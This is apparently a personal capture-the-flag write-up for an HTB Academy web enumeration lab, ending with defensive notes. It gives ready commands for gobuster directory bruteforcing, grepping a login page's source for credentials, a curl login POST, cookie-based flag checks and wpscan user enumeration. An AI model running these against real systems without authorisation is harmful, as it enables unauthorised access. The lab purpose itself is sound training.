HTB Academy - Web Enumeration

🎯 Objective

Run quick web enumeration against the target, pivot from findings to auth, and grab the flag.

Target base: http://178.128.33.213:31277

🧭 Enumeration

1) Directory bruteforce (Gobuster)

gobuster dir -u http://178.128.33.213:31277 -w /usr/share/wordlists/dirb/common.txt -t 10

Findings (highlights):

• /.htaccess 403
• /.htpasswd 403
• /index.php 200
• /robots.txt **200`
• /server-status 403
• /wordpress 301 → /wordpress/`

The juicy lead here is /robots.txt (classic hinting) and a /wordpress install as a potential secondary path.

2) Robots.txt

curl -s http://178.128.33.213:31277/robots.txt

Output:

User-agent: *
Disallow: /admin-login-page.php

Disallow is not auth — it’s a hint. Check that path directly.

3) Hidden creds in admin login page (view‑source)

Open /admin-login-page.php and check View Source for comments/hidden fields.

Browser: Ctrl+U
or via CLI:

curl -s http://178.128.33.213:31277/admin-login-page.php | sed -n '1,160p'

What I saw (abbrev.):

<!-- Admin Panel -->
<!-- (CSS etc.) -->
<!-- form ... -->
<!-- creds inline in source (comment/hidden inputs) -->
# Admin Panel
Username
Password
Login

The credentials were embedded in the page source. If you don’t see them immediately, search for user, pass, admin, or HTML comments:

curl -s http://178.128.33.213:31277/admin-login-page.php | grep -Ei "(user|pass|admin|creds|password)"

Fill discovered creds below when you have them:

• Username: <USERNAME_FOUND>
• Password: <PASSWORD_FOUND>

🔐 Login and Get the Flag

4) Authenticate

If the login submits back to the same page (typical), try:

curl -i -s -k -X POST   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'username=<USERNAME_FOUND>&password=<PASSWORD_FOUND>'   http://178.128.33.213:31277/admin-login-page.php

Notes:

• If it sets a session cookie, capture it from response headers and reuse it.
• If the form action points elsewhere, mirror that path in your POST.

5) Locate the flag

Post‑login, typical spots:

• An admin dashboard page body
• /flag, /flag.txt, /admin/flag, or a banner on the panel
• In comments in the admin page source

Quick checks once logged in (with cookie):

curl -s -b 'PHPSESSID=<cookie>' http://178.128.33.213:31277/ | grep -i flag
curl -s -b 'PHPSESSID=<cookie>' http://178.128.33.213:31277/flag.txt
curl -s -b 'PHPSESSID=<cookie>' http://178.128.33.213:31277/admin | grep -i flag
curl -s -b 'PHPSESSID=<cookie>' http://178.128.33.213:31277/admin-login-page.php | grep -i flag

Paste the recovered flag here:

<FLAG{REPLACE_WITH_REAL_FLAG}>

🧪 Side track (optional): WordPress

We also found /wordpress/. If needed, you can enumerate users/plugins/themes with wpscan, but in this challenge the robots → admin page → creds path is the straight shot to the flag.

wpscan --url http://178.128.33.213:31277/wordpress -e ap,u --random-user-agent

🧾 One‑liners recap

# robots
curl -s http://178.128.33.213:31277/robots.txt

# admin page source review
curl -s http://178.128.33.213:31277/admin-login-page.php | sed -n '1,160p'
curl -s http://178.128.33.213:31277/admin-login-page.php | grep -Ei "(user|pass|admin|creds|password)"

# login attempt (replace creds)
curl -i -s -k -X POST -H 'Content-Type: application/x-www-form-urlencoded'   --data 'username=<USERNAME_FOUND>&password=<PASSWORD_FOUND>'   http://178.128.33.213:31277/admin-login-page.php

🔒 Defense (notes)

• Never leak admin endpoints via robots.txt (it’s reconnaissance candy).
• Don’t hard‑code or comment credentials in templates.
• Gate admin pages behind auth and IP allowlists/MFA.
• Keep WordPress (and plugins) updated and reduce enumeration surface.

These are my notes and the exact path I took: gobuster → robots → admin page source → creds → login → flag.